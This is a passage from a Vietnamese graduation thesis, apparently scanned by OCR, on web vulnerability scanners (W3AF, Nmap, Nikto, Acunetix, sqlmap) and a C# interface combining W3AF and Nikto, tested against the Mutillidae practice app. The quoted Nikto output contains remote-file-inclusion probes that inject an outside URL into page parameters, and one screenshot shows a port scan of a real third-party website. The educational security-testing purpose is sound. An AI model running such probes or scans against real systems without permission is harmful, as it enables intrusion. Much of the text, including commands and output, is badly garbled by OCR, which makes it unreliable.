Bwée 1: Cau hinh céc théng sd quét, sau d6 nhap dia chi website can quét va
nhan nat “Start” dé quét toan b webstie.

Bwére 2: Sau khi chuong trinh quét xong, mo tab Result dé xem két qua. Két

qua s& mo ta chi tiét 15i va ndi dung request ciia ting 16i mot.

vr3af - localhost

Profiles  Edi Tools Configuration  Help

A ™ | ol == o )

uz 5] = 0 I & 5} [ s -
\Wizards Mews Save Stop Pause / f Manual Request  Fuzzy Request Encode/Decode

Scan config JLDg Resuilts | Explait]

KB Browser ‘ URLs | Request/Response navigator

wuln Info ] Misc An error page sent this IS version: "<a href="http: /Awww, microsoft.com/

T ContentRedirect. asp?prd=iisBsbp=8pver=5.08pid=81D". This information was found in the
e 7 BT request with id 17,

3 dothetEventialidation
|3 findComments
|3 formautocomplete
[ collectCoakies Request |Resp0nse l
P strangeReason
4 Raw Headers]
bt errorPages
- SEEveR GET http://localhost/quickmenu styles.css HTTP/1.1
_:| Accept-Encoding: gzip
o rar: i ror :| Accept: */%

o Error page with information di User-Agent: wiaf.sourceforge.net
Ui 1= ith i tion di Host: localhost
rror page with nformation di | cooyie: aSP.NET SessionTd=oovhoyiasbmacO4Snimgpmas

P errorPage Referer: http://localhost/
3 metaTags

P strangeParameters
|3 fileUpload
. ﬂ ¥y 1

Hinh 3.4: Két qua sau khi quét bang W3AF
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Két luan: W3AF la mot cong cu manh dé quét cac 16 hong bao mat, khong
can chimg thuc so hitu dbi v6i website can quét va ciing khong can sir dung thong
qua mot proxy nao. NO 1a mot framework dé phat trién cac tng dung, bao gdm
nhiéu ham dé quét va do tim 16 hong bao mat. Cac 16 hong bao mat thi thuong
xuyén duoc phat hién va bo sung, véi viéc duogc cap nhat thuong xuyén cac 16 hong

bao mat méi, W3AF thyc sy 1a cong cu tot dé danh gia an toan website.

3.3.4 Nmap
Nmap (Network Mapper) la mot cong cu md nguon mo va mién phi dugc
viét bai Gordon Lyon c6 thé chay trén nhiéu hé diéu hanh nhu Linux ,Window,
Mac OS... Pugc ménh danh 14 ¢dng cu san phdm bao mat ciia nim boi tap chi
Linux, Info World, LinuxQuestions.Org [11]. Nmap bao gom mdt bo giao dién do
hoa (Zenmap) va mot chay trén dong lénh. Tuy nhién Zenmap chi hién thi két qua
trén giao dién do hoa vi thé ngudi ding van dung cac cau lénh dé thuc thi 1énh quét.
Nmap c6 thé thyc hién viéc 2 loai quét d6 1a quét cong, quét hé théng mang. Trong
d6 c6 rat nhiéu tly chon cho phép thu thap cac thong tin véi cac ky thuat khac nhau.
Ngoai ra Nmap c6 thé quét nhitng hé thong mang 16n véi hang trim may cling mot
lic. Phién ban dugc str dung 14 5.25.
Céc thong tin ma nmap c6 thé thu thap dugc:
J Kiém tra host c6 hoat dong hay khong. Dia chi MAC, IP ca host.
e  Thong tin cia cong.
e  Xac dinh céc dich vu chay trén cong.
e  Xac dinh hé diéu hanh.
e  Xac dinh web server va ung dung chay trén no.
Dé thyc thi dugc 1énh quét ngudi ding phai thyc thi cau 1énh theo cau trac sau:
nmap [logi quét] [tiy_chon] [dia_chi hosts]

Céc tuy chon quét co ban:

-sP : kiém tra may muc tiéu c6 dang hoat dong khong.

-sS, -sF, -sU, -sT... : cac ky thuat quét SYN, FIN, UDP, TCP...
-0 : x4c dinh hé diéu hanh.
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-sV : xac dinh dich vu chay trén cong. -p : chi dinh cong dugc quét.

--traceroute: duong di cua goi tin.

_loix

Scan  Tools  Profile  Help

Target: |]23 www.kﬂuduabentre.mm.vnj Profile: I j Scanl Cancell

Command: Inmap -55 —p 1-1023 v, keoduabentre, com.vn

I Hosts SErvices | fmap Cukput |F'|:urts [ Hosts |TD|:ID|CH;|‘:.-' |H|:|st Details |Su:ans |
a5 A IHDst Inmap -55 —p 1-1023 vavaw keoduabentre, com.vn j Details

e keoduabentre.c
Starting Mmap 7.12 | https:/ mmap._org ) at 2016-05-19
20:27 5E RAsia Standard Time
Nmap scan report for wmr. keoduabentre. com. v
(123.30.240.88)
Failed to resolwe "&E%p".
Failed to resolwe "1-10E3".
Host iz up (0.018s latency).
rLM53 record for 1E3_20.240_8%: =static.wdeo.wvn
Not showm: 983 closed ports

PORT ETATE SERVICE
21ftcp Open ftp

22ftcp open ss5h

25ftcp open smtp

42 ftop filtered nameserver
Laftop open domain
g0ftcp  open http
110ftcp open pop 3
111ftcp open rpcbind
139fcecp  filtered nethios-ssn
142 /cocp  open imap

443 ftcp  open https
465ftcp open smtps
587ftcp open submizsion
993fccp open imaps
995ftcp  open pop 3=
2222/tcp open EtherNetIP-1
3306/tcp open my=sql

Mmap done: 1 IP address (1 host up) scamned in 5.47
seconds

[ I

Filter Hosts |

Hinh 3.5: Két qua sau khi quét bang Zenmap

3.3.5 Nikto
Pay 1a mot cong cu md ngudn mé [16] cho phép quét cac diém yéu hoic 16

héng bao mat cua cac website. Pugc viét bai Chris Sullo va David Lodge va dugc
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nmap.org danh 1a mot trong 10 phan mém quét 16 hong bao mat ciia web [17]. Bao
gom hon 3200 phuong thirc nhan dién céc tap tin, 16i logic nguy hiém, hd trg hon
625 phién ban webserver, bao gom cac 15i trén 270 webserver khac nhau. Tinh ning
quét két hop véi cac plugins ludn dugc cdp nhat tr dong dam bao dua ra két qua
day du va chinh xac nhat. Phién ban dugc sir dung 1a 2.14. Cong cu chay trén hé
diéu hanh Windows nay s& kiém tra cic van dé sau trén mot webserver:

e Ldi cau hinh server va phan mém cai trén server.

° Céc tap tin va chuong trinh mac dinh trén server.

e  Céc tap tin va chuong trinh khéng an toan trén server.

e  Kiém tra cic phién ban cia server va chuong trinh trén server c6 15i thoi

hay khong.

e  Laythong tin cia cac banner.

e  Thong tin webserver cua trang web.

Ngoai ra Nikto con tich hop ca co so dit liéu cac 16 hong ma ngudn mé

(Open Source Vulnerability Database_ OSVDB). Day la mot co s& dir liéu cong khai
cac 16 hong bao mat cua céc server, hé diéu hanh hay tng dung. Cac thong tin vé co

s& dir liéu nay co trén website www.osvdb.org. Khi Nikto tim thay mot 16 hong c6

7
Ay

trén www.osvdb.org né sé hién thi chudi “OSVDB-s6” kém theo la thdng tin va co
thé 14 URL cua 16 hong d6. Thém vao d6, néu nhu chudi d6 c6 dang “OSVDB-

12184” nghia 1a ta c6 thé xem thém thong tin cia 16 hong nay tai dia chi

www.osvdb.org/12184 .
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vendors Project Info Help OSVDB! Sponsors Account

PHP expose_php Directive Version / Information Disclosure
Printer | htip://osvdb.org/12184 | Email This | Edit Vulnerability

Views This Week | Views All Time| Added to OSVDE | Last Modified| Modified (since 2008) | Percent Complete| %iéfsﬁ Eﬁﬂ !bgr
4% 6502 over 6 years ago | 5 months ago 3 times 90% & o
: ‘Disc[osure Date” Exploit Publish Date‘
Timeline [ 20041128 ][ a0041128 |
Keywords saster ege

PPN F1P contains a flaw that may lead to an unauthorized information disclosure. The fssus is triggared when a remote attacker makes certain HTTP requests with crafted
PEL Il o rieh il disclose PHP veirsion and anbiher sersite information fesulting i6 a Toss of confidetality,
Location: Remote / Nstwork Access
Attack Type: Information Disclosure, Misconfiguration
Impact: Loss of Confidentiatity
Solution: Workaround
Exploit: Exploit Public
Disclosure: OSVDE Verified
OSVDB: Web Related

(XN TR 1e03 1 No patches are necessary to correct this issue. Set the “expose_php” setting to "Off in the php.ini file, which will disable this func tionality.
PHP Grou, PHP
Products “amm ‘ o 4.3.10RC1

# Mail List Post: http://archives.nechapsis. com/archives/sf/www-mobile /2004-g4/0317.htm|
References http://archives.neohapsi m/archives/sf/www-mobile/2004-g4/031%.html
http://archi hapsis.com/archives/sf/www-mabile/2004-g4/0333.html

Hinh 3.6: Trang web www.osvdb.org/12184

Céu triic cau 1énh cua nikto 1a:
nikto [cac_tly_chon] [cdc tham_sé (néu cd)]...
Céac tuy chon co ban:
-h [muc ti€u]: xac dinh dia chi quét.
-Findonly: tim kiém cac thong tin co ban.
-update: cap nhat cac plugins va co s¢ dit liéu tir trang web cirt.net.
-port: chi dinh cong quét.
-mutate [tham s6]: suy doan céc gid tri c6 thé 12 15 hong.
e 1 kiém tra tit ca cac tip tin va thu muc goc.

e 2 doan tén tap tin mat khau.

3.3.6 Acunetix Web Vulnerability Scanner

Acunetix WVS kiém tra tat ca cac 16 hong website bao gom ca SQL
Injection, Cross Site Scripting va quét nhiéu nhiéu 16 hong website khac. SQL
Injection 1a k¥ thuat tin cdng stra d6i cac truy van SQL dé dat dugc quyén truy cap
vao dir liéu trong co sé dit liéu. Cross-site scripting 1a ky thuat tan cdng cho phép

mot hacker thuc hién mot kich ban doc hai trén trinh duyét cua ngudi dung truy cap.
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Phat hién 16 hong nay doi hoi mot cong cu phat hién tinh vi. Didu toi quan trong
trong k¥ thuat quét bao mat web khdng phai ¢ s6 lwong cac cudc tan cong ma mot
may quét cd thé phat hién, ma Ia sy phic tap va triét dé véi khi quét 16i SQL
injection, Cross Site Scripting va cac cudc tan cong khac.

Acunetix c6 mot bo engine phat hién 15 hong hang dau kém theo 1a Acunetix
AcuSensor thyc hién céc cudc tan cong ty dong va hién thi cac 16 hong dugc tim
thay. Pay 1a mot cdng nghé bao mat duy nhét c6 thé nhanh chong tim thay 15 hong
véi s lwong canh bao gia rat thap, cho thay 15 hong trong ma va bao céo thong tin
g5 16i. Pong thoi xac dinh CRLF, Code execution, Directory Traversal, File
inclusion, 16 hong trong xac thuc va cac 16 hong khac.

Béo céo chi tiét theo dung chuan Acunetix Web Vulnerability Scanner bao
gom mot mo-dun bao cao md rong co thé tao cac bao céo cho cac (ng dung web
ctia ban theo chuan twong thich dir lisu PCI DSS c6 thé sir dung trén nhiéu tng
dung khac.

Phan tich trang web ciia ban nham chéng lai kiéu tan cong Google Hacking
Database Google Hacking. Co s¢ dir ligu (GHDB) la mét co s¢ dir liéu cua cac truy
van duoc sir dung bai tin tic dé xac dinh cac thong tin nhay cam trén trang web cua
ban, chang han nhu trang dang nhap cong théng tin, cac ban ghi théng tin an ninh
mang, va nhu vay. Acunetix thuc hién cac truy van GHDB vao cac noi dung théng
tin da thu thap cua trang web cta ban va xac dinh cac dir liéu nhay cam hoac cac
muc tiéu khai thac truéc khi bi tin cong qua cac cong cu tim kiém.

Trén 70% céc trang web c6 16 hong ¢6 thé dan dén cac hanh vi trom cap dir
ligu nhay cam cua cong ty nhu: Thong tin thé tin dung hay danh sach khach hang.
Tin tic dang tap trung nd luc cuia ho trén cac tng dung dua trén web nhu - gio mua
hang, cac trang, form dang nhap, cac noi dung dong,...

Kha ning c6 thé truy cap 24/7 tir bat ctr noi nao trén thé giéi hay cac ang
dung web khdng an toan cung cip dé dang truy cap dén co so dir liéu cho phép tin
tac cd thé thuc hién cac hoat dong bat hop phap bang cach sir dung cac trang web da
tan céng. Trang web nan nhan cé thé bj tin tic st dung dé thyc hién cac hoat dong

phi phap nhu: luu trir cac trang web lira dao, hoac sir dung bang thong cia nan nhan
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dé phaét tan cac noi dung cam va lam cho chii nhan caa chdng phai chiu trach nhiém
vé nhiing hanh vi trai phap lut.

Nhiing tinh nang:
« Ty dong phan tich Javascript cho phép kiém tra cac ung dung AJAX va Web 2.0
« Phan tich chuyén sau vé cac 16i SQL Injection va Cross Site Scripting.
»  Visual Macro Recorder cho phép dé dang thir nghiém cac web form va céac khu
vuce dugc bao vé bang mat khau.
* H0 trg chuan bao céo rong rai, bao gom chuan VISA PCI.
+ B quét da ludng toc do cao co thé thu thap dir liéu tir hang ngan trang mot cach
dé dang.
 Tu dong kiém tra cac form upload tap tin.
Acunetix thu thap théng tin va phan tich cac trang web bao gom ca noi dung
flash, SOAP va AJAX.
« CoOng nghé AcuSensor théng minh cho phép quét chinh xéac nhiéu 16 hong
web.

m Acunetix Web Yulnerability Scanner (Consultant Edition)

=10l x|

: File Actions Tools  Configuration  Help

NewScan| (AN = < ol rd | By R | i |_‘ | ,I‘ | F
BooE oty J:l| ;_'] = | i ‘ =] &"J | Report | ,\ |Start LRL: htt;ﬂ Profile: | Default ﬂ @ stop 0 Pause
IE‘ ‘“web Yulnerability Scanner T LHJ e T = ’6

3 Scanner

{= Tools

El- 5g Sean Thread 1 { httpeffeney, keoduabent |

(3 Sike Crawler
,J Target Finder
-1 0, Subdomain Scanner
- || Blind SQL Injector
[} HTTP Editor
-4, HTTP Sniffer

<% HTTP Fuzzer

] Scanning Profies

=3 ,ﬂj Web Alerts (7)

E| 0 HTML Form without CSRF protecti

(I |:| frantact, html

0 55L certificate public key less tha
|:| Server

-- 0 The POODLE attack (53Lv3 suppe

-- @ Cclickjacking: ¥-Frame-Options he.

M acuneiix threat level

Level 2: Medium

E| }J Site Struckure

Acunetix Threat Level 2

One or mare medium-severity type
wulnerabilties have been discovered by
the scanner. You should investigete
gach of these vulnershilties to ensure
they wil not escalate to more severe
problems.

-3 Authentication Test i
el B @ Cookie without HitpGnly Flag set Totahalents found j
-0 Compare Results @ tigh ;
B3 web Services =3 @ Cookie without Secure flag set (1 ¥
e g B Mediur 3|
eggm| WWeb Services Scanner Pt l:l f g L + I
*e-.. web Services Editar = @ Error page path disclosure (1) i i
== Configuration H |:| Wb Server @ informational L
- Application Settings =3 T Knowledoe Base (1)
|| Scan Settings b B 5L server running [443] 4| Targetinformation  hitp: iy keoduabentre com v 80F &

Hinh 3.7: Két qua sau khi quét bang Acunetix WVS

B General @ [ statistics 10050 requests =)
a Program Updates T == =
) 3 . Progress 1461% ()
[2] Wersion Information i [&] Cockiss _’ILI = Ll =
@ Licensing
@j Support Center Ackivity Window i |
@j Purchase 05,17 22:31.36, [Warning] Unable ta download update information. Please review your settings or try later,
@j User Manual 05,17 22:31.36, [Error] Walid name, no data record of requested bype, [000124FC]
@ ArcuSensor Host name lookup failed
Application Log  Errar Log
‘W’eb Scanner |Scanning 1 website(s] .. |Number of websites left ta scan : 1 4
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3.3.7 Sglmap

Nhu ding tén goi cia chuong trinh, day 1a mot chuong trinh quét chuyén vé

16 héng SQL Injection. Pugc viét boi Bernardo Damele va dugc gidi thi¢u tai hoi

nghi Mi Pen tai Amsterdam (Netherlands) thang 6 nam 2009. La mdt cong cu mé

nguén mé dugc viét bang ngdn ngir python nén nd o thé chay trén nhiéu hé dicu

hanh khac nhau. Sglmap hd trg rat nhidu hé quan tri co s dir liéu nhu MySQL,

Oracle, PostgreSQL, Microsoft SQL Server,... Thém vao d6 sqlmap cung cip day

du 5 k¥ thuat SQL Injection. Phién ban duogc sir dung 1a 0.9 va chay trén dong Iénh.

Sqlmap cung cap kha nhiéu tinh ning cho ngudi ding. Mot s6 tinh ning noi

bat ma sqlmap s hiru la:

Cho phép két ndi dén co so dir liéu.

Liét ké cac co so dit lidu, bang, cot, nguoi dung, Cac quyén cua nguoi
dung...

Cho phép ngudi st dung cd thé thuc thi mot cau truy véan sql dén hé co so dir
ligu...

Thém céc tién td, hau to vao cac bién (injection)...

Céu triic cau 1énh ciia sqlmap 14 :

sqlmap [cac_tly_chon] [cdc tham_sé(néu co)]...

Céac tuy chon co ban:

-U [muc ti€u]: xac dinh dia chi quét

--method : xac dinh phuong thure giri POST/GET.

-p: x4c dinh d6i s6 mudn kiém tra.

-f, -b: x4c dinh hé co so dir liéu, hé diéu hanh, webserver.
--prefix: thém vao tién t6 cua bién.

--suffix: thém vao hau t caa bién.

--dbs: liét ké cac co so dir liéu.
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CHUONG 4: XAY DUNG UNG DUNG QUET LO HONG
BAO MAT

Cong cu W3AF co thé quét hau hét cac 16 hong bao mat img dung web bang
viéc sir dung 130 plug-in ¢ sin caa minh. W3AF st dung phuong phap kiém tra
hop den (phuong phap kiém tra 16i ty dong) cac 16i bao mat trén mg dung web,
cong cu nay sé thuc hién tr dong quét thu muc, tap tin cua ing dung web va tu
dong xac dinh cac diém ma can dé trinh dir liéu. Trén co sé da xac dinh cac diém
can dé trinh ty dong tiép dén cong cu sé& thuc hién dé trinh céc tap dir liéu dugc dinh
nghia sén va cho sy phan hoi tir phia tmg dung web dé kiém tra xem liéu (mg dung
d6 c6 bi cac 15i bao mat hay khong? Cac 16 hong bao mat tmg dung web ma W3AF
c6 thé quét ra rat da dang nhu: SQL Injection, XSS, CSRF, SSI Injection, Cross site
tracing, Xpath Injection... Cong cu Nikto dugc nmap.org danh gia 1a mét trong 10
cong cu quét 16 hong bao mat Gmg dung web tét nhat hién nay. Nitko st dung
phuong phap kiém tra Fuzzing 18i bao mat, cong cu nay khéng thyuc hién viéc quét
c4u tric thu muc va tap tin cia ing dung web, ma chi don gian 1a tap hop tat ca cac
16i 4 duoc cong bd véi timg tmg dung web cy thé va thuc hién dé trinh dén tng
dung web xem thir img dung d6 c6 méc cac 161 bao mat hay khong? Uu diém cua
phuong phap kiém tra ndy 1a kiém tra nhanh véi mot luong 16n website ma d4 biét
tén tmg dung dang chay. Thé manh ctia cong cu Nikto 1a quét 15 hong webserver rat
hiéu qua, bao gdbm hon 3200 phuong thirc nhan dién cac tap tin, 156i logic nguy
hiém, hd trg hon 625 phién ban webserver, bao gom céc 13i trén 270 server khéc
nhau. Theo théng ké tir bang 4.1, W3AF khong thé phat hién ra 16 hong “Kiém tra
thanh phan server qua han” va Nikto khdng phat hién ra 16 hong “Shared hosting”.
Vi vay, viéc két hop 02 cong cu W3AF va Nikto lai thanh mot bo cong cu dé quét 16
hong bao mat s& cho ra két qua nhiéu hon cac 16 hong bao mat tmg dung web.

Do mdi chwong trinh ¢6 Mot cu tric cau 1énh khac nhau. Dan dén viéc
muén str dung chuong trinh nao nguoi dung phai hiéu 1@ ciu lénh cling nhu timg
tly chon cho mdi chwong trinh d6. Didu ndy gay mat thoi gian va khé khan cho

ngudi ding. Vi vy, viéc tao giao dién cho cic cong cu quét nay la mot didu can
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thiét. Va bo cong cu duogc tao cac giao dién diéu khién va hién thi két qua: W3AF
va Nikto.

B cong cu chi gom hai chuong trinh nhung ciing d4 c6 thé co ban thyc hién
kha day di cac loai quét thong dung. Diém ndi bat ciia bo cong cu nay la khéng truc
tiép can thiép vao ma ngudn ciia timg cong cu. Boi mdi cong cu duoc viét boi mot
ngdn ngir khac nhau néu tiép can timg loai ngdn ngir dé chinh sira s& mat rat nhiéu
thoi gian va cd thé khong hidu qua. Do d6 viée sir dung chi duy nhat mot ngon ngir
C# dé thyc thi cac tién trinh, xir Iy cac két qua hién thi va diéu khién cac cong cu 1a
mat lua chon phll hop, vira c6 thé tiét kiém dugc thoi gian vira ¢ thé md rong thém
b cong cu. Bai vi chuong trinh diéu khién khong can thiép truc tiép vao ma nguon
va c4c cong cu mabi duge thém vao chi can dya trén cac I6p da cé san.

Dua trén céc thong s duoc chon lya, luan vian cung cip mot phép so séanh
clia cac cong cu do tim 16 hong bao mat. Dudi day 1a hai cong cu do tim 15 hong
tmg dung web duoc chon dé mang dén phén tich can thiét cho viéc két hop hai cong
cu:

e  Nikto: Pay la cong cu kiém tra bao mat img dung may chii web mién phi

va mi ngudén mo dugc thuc hién bang ngon ngir Perl. N6 cho phép thém cac

plug-in dé mo rong cac chirc nang [16].

e  W3AF: Web Application Attack and Audit Framework (W3AF) la mot
mg dung kiém tra bao mat timg dung may chii web mién phi vd ma nguén

mé, dugc phat trién trong ngdn ngir Python. [11], [15]

Bang 4.1 cung cdp mot ma tran so sanh quan trong cho nhiing cong cu néu
trén dua vao nén tang ciia cac thong sd dugc chon Iya liét ké trude trong Chuong 3.
Muc dich ciia ma tran so sanh mau nay la nham xem xét cach thirc mot nguoi kiém
tra Xdm nhap ung dung web quyét dinh va lya chon cong cu do tim 16 hong tng
dung web phll hop, c¢6 thé mot bo cac cong cu; tly VAo cac yeu cau kiém tra. Nguoi
kiém tra xam nhap c6 thé sir dung céc thong s khac nhau sin cé hodc cic cong cu
can thiét cho cudc kiém tra. Viéc lya chon cic thong sé c6 thé dugc xem nhu cac
yéu cau kiém tra.

Bang 4.1: So sanh ma tran cho cac thong sb, plug-in caa cac cong cu do tim 15 hong
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(V 1a tinh ning san cé, X tinh ning khong san co)

Thong sé ac cong cu W3AF Nikto
M4 ngudn mo/Phan mém mién phi \% \Y/
Ho tro TLS/SSL Y Y
Ho trg Proxy HTTP Vv Vv
Shared hosting (Chia sé host) \Y X
Kiém tra thanh phan server qua han X \%
Li cau hinh bao mat Vv Vv
Trich xuat tai khoan ngudi ding Vv Vv

Chung ta quan sat dugc rang ching ¢ thé bd sung cac tinh niang cho nhau dé
Kiém tra ddy du hon cac khia canh bao mat ctia cac dang may chii web va tir 46 dua
ra bao céo chira cac 16 hong duogc tim thay.

Giao dién thuc hién viéc thuc thi mot tién trinh. Tién trinh nay chinh 1a cau
lénh s& chay trén cmd ciia Windows. Vi vy van can thiét tao mot giao dién vira co
kha ning hién thi vira ¢ thé thuc hién tly quét thdng qua cac thao tac ngay trén
form ma khong can quan tdm cau 1énh duogc thyc hién 14 gi. Va day 1a mot chuong
trinh chay trén hé diéu hanh Windows véi nhiéu tly chon quét khac nhau. Viéc co
mot giao dién véi cac tlly chon 14 cac checkbox hay radiobox la rat truc quan va dé

sir dung dbi voi nguoi ding.

ol LUAN VAN TOT NGHIEP

Nhap diachi: 127.0.0.1/mutillidae

1)

W3AF
NIKTO
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Hinh 4.1: Giao di¢n chinh cua chuong trinh

Trong phan nay, luan vin ciing s& trinh bay cach thirc xac dinh pham vi 15
hong bao mat duoc mé rong bang viéc két hop mot hoic hai cong cu do tim 16 hong
ung dung web - W3AF va Nikto, gia 1ap mot tng dung web goi 1a Multillidae [18],
[19], dat host trén mdt may chu web goi 1a Cross-platform-Apache-MySQL-PHP-
Perl [20]. O day, Mutillidae 13 mot ing dung web dé bi xam nhép, cung cip boi
cong dong OWASP, c6 thé néi 1a mot tmg dung mang “dé bi tan cong”. Str dung
server Apache va goi PHP dé dé dang cai dat gia 1ap mot webserver. Cong tng
dung mang cua Mutillidae dugc ding nhap qua cong may chu hoidc truy cip vao

mot dia chi IP tir bat ky trinh duyét mang nao.

§ 127.00./mutilidae/ x

bl
m

€[4 127.00./mutillidae/

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security Enforce SSL  ResetDB  View Log View Captured Data

( Mutillidae: Deliberately Vulnerable Web Pen-Testing Application )

OWASP 2010
OWASP 2007 ¥
Web Services 4

HTML 5 4
Like Mutillidae? Check out how to help

Documentation
You :
What Should 1 Do? Video Tutorials
P— ?
g Help Me! E Listing of vulnerabilities
Getting Started:
Project Whitepaper
I ? Bug Tracker @ Bug Report Email Address
Release
‘ Release Announcements

Announcements 211 What's New? Click Here

You

Hinh 4.2: Giao dién Mutillidae

Két qua chuong trinh sau khi quét xong:
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agl Combine -

Diachi 127.0.0.1/mutilidae QUET

Két qua Wasf

D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information

D6/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
DE/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information

DE/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
06/03/16 15:48:48 - information
DE/03/16 15:48:48 - information
D6/03/16 15:48:48 - information
D6/03/16 15:48:48 - information

06/03/16 15:48:48 - information | -

06/03/16 15:48:48 - information | - [1

Pasaword profiing TOP 100
- [1] User with 168 repettions

2] info with 140 repettions

- [3] Lookup with 116 repetiions

- [4] Injection with 100 repettions.
- [5] Viewer with 80 repetiians

- [E] Test wih 64 repetiions

- [7] XPath wih 60 repetitions:

- [£] Deta with 56 repetitions

- [9] Storage with 56 repetions

- [10] Tool with 56 repeitions
-[11] Login with 52 repetiions

- [12] Page wih 52 repetitions

- [13] HTMLS with 48 repetiions

- [14] blog with 48 repettions

- [15] View with 44 repetitions.

- [16] OWASP with 36 repettions.
- [17] Inclusion with 36 repettions.
- [18] your with 36 repeitions.

- [20] Text with 32 repeitions
- [21] JavaSaript with 32 repetitions
- [22] Register with 32 repettions

- [23] Capture with 32 repetions

- [24] Arbitrary with 28 repettions

- [25] HTTP with 28 repettions.

- [26] HTML with 28 repetiions

- [27] Validator with 28 repeitions.

- [28] Service wih 28 repetiions

- [25] Site with 28 repettions.

- [30] Browser with 24 repettions

- [31] blyAdmin with 24 repettions
- [32] Generator with 24 repeitions

3] Documert with 32 repetitions.

Két qua NIKTO

1=lol&PAGES ol]=http://citt net/fin ¢t ?: RF from RSnake's st (ntp-//ha ckers org/weird /fidosations dat) or from
hitp//osvdb ora/

25252, GET /mutiidse/muilidas,/ndex ph?AML_spenste=Htip://cit netfinc b7 /mtilidae index pi?
AML_opensitehttp:/citt net/fiinc £ 2: RFIrom RSnakes list (ttp://ha.ckers org/weird fidocations dat) or from
hitp://osvdb.org/

+-5292: GET /mutilidse,/mutilidas.index php ?AMV_opencanfig=18AMV_servemath=hitp://cit net fiinc £
mutilidasindex.php 7AMV_opencenfig=18AMV_serverpaih=itp.//cit net/ifinc bd?: RF| from RSnake's lis
(hitp://ha. cheers.org, weird i focations dat) or from hitp://osvdb org/

+-5252 GET /mdse/mutldae/indenpnz PCONFIGIMWICHAT Libs-ht et fine 472
/mutilidae/index php TCONFIGIMY Libs]=http://citt net Afiinc.5¢ 77: RF| fom RSnake's lit

(hitp://ha cheers. Drg/v\elrd/rfﬂncalmns dai)nrhnm itp:/osvdb.ora/

~-5292: GET /mutiidse/muilidas/index php Corfig Dir=hitp//cit net/finc b - /mutilidae /ndex php?
CorfigDir=http://cirt et finc £ 7. RF| from RSnake's list (hitp://ha okers.ora/wird fiocations dat) or from
hitp://osvdb ora/

5292 GET /mutilidse/muilidzs/index php PDIR_PLUGINS=http://cirt net/finc £47: /mutilidae/index php?
DIR_PLUGINS =http://citt net/fiinc £ 7: RF fram RSnake's st (htp://ha.ckers.org/weird idacations.dat) or fram
hitp 7/osvdb.org/

5292 GET /mutilidae,/mutlidas/ndex.php G _JGALLlinc_path]=Fitp://cit net/fine. ba 2%00; /mutilidasindex php?
G_JGALL{nc_path]=hitp:/cit net/finc bd 7%00; RF| from Fnake's st (1itp.//ha. cleers org/weird/ifidocations dat) or
from itp://osveb.org/

-~ 5292- GET /mutilidse /muilidae/index php PHome Dir=http-/cir et finc £47: /mutilidae /index php?
HomeDir-hitp://citt.net finc txt?: RFI from RSnake's lst (htp-//ha.okers.org Aweird /fiosations.dat) or from
hitp://osvdb. ora/

5292 GET /mutilidss/mutilidss/index php ?Lang-ARAPags=http://citt net/finc 5a?: /mutilidae /ndex php?
Lang-AR&Page=htip://citt net finc txt?: RF from RSnake's st (htp://ha.ckers.org/weird/fidocations dat) or from
hitp://osvdb.org/

+£292: GET /mutilidae,/mutlidas/index php ?Madoa=http://citt netiinc £¢7%: /mutiidacindex php?
Madoa-ttp: //m net/ifine bt 77: RF from RSnake's list (itp://ha.ckers omg/weird/fiocations.dat) or from
hitp//os

e e Psiidse mutlicassnce pho?RP_PATH=http://cirtnetfine b4 ?: /mutilidaeindex ghp?
RF_PATH=hitp://cirt net/ifinc o 7: RFI from RSnake's list (hétp//hs.ckers.org/weird i-ocations dat) or from
hitp//osvdb.ora/

Hinh 4.3: Két qua ciia chuong trinh

Sau khi chuong trinh quét ra duoc céc 16 hong bao mat tng dung web, vi du
16 hong bao mat CVE-2015-5477, day 1a 16 hong bao mat nguy hiém xuat hién trén
mot s6 phién ban caa phan mém BIND, cho phép tin tic tan cong tir xa giy ngung
tré hoat dong, tir chdi dich vy (DoS) phan giai tén mién. Nguoi ding truy cap vao
dia chi website https://cve.mitre.org, nhap ma quéc té 16 hong bao mat CVE-2015-
5477 s& ra tim duogc cac thong tin md ta vé 16 hong bao mat nay va cac huéng dan
thue hién céc bién phap phong chdng, khac phuc su cd.

Cu thé, dé phong chong tan cong va khic phuc 15 hong an toan théng tin trén
phan mém BIND, Trung tdm ng ciau khan cip may tinh Viét Nam (VNCERT)
khuyén nghi céc co quan, don vi tham khao mét sb bién phap nhu:

e Sir dung va thiét Iap cdu hinh cho céc thiét bi phat hién/phong ngira
tan cong (IDS/IPS) dé phét hién hoic ngan chin cac hanh dong tan
cong khai thac 16 hong CVE-2015-5477;

o Nang cap, thay thé phién ban phan mém BIND c6 16 hong CVE-2015-
5477 dang ding bing cAc phién ban 9.9.7-P2 hoic 9.10.2-P3 do 1SC
cung cap tai dia chi http://www.isc.org/downloads;

e Sir dung ban va 13i do I1SC cung cap dé khic phuc 16 héng CVE-2015-
5477 tai dia chi: https://kb.isc.org/getAttach/118/AA-01272/cve-2015-
5477 .patch.txt.

*Uu diém: Bo cong cu ¢6 mot sd dic diém riéng biét ¢6 lgi cho nguoi ding do 1a:

e  Giao dién tiéng Viét don gian, dé dang st dung.


https://cve.mitre.org,
http://www.isc.org/downloads;
https://kb.isc.org/getAttach/118/AA-01272/cve-2015-
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e  CO chirc ning goi y stra 16i cho ngudi duing.

e B0 cong cu da tich hop san cac cong cu khac nhau cho cic muc dich quét
khac nhau.

e  Giao dién diéu khién cho cac chuong trinh gon nhe do chi thyc thi va xir

ly cAc két qua lay tir tién trinh.
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CHUONG 5: KET LUAN VA HUONG PHAT TRIEN

5.1 Két luan

Day 1a mot dé tai méi va c6 y nghia thyc tién trong linh vyc an toan mang,
sau khi hoan thanh khéng nhimg vé 1y thuyét d& tim hiéu duoc mé hinh tng dung
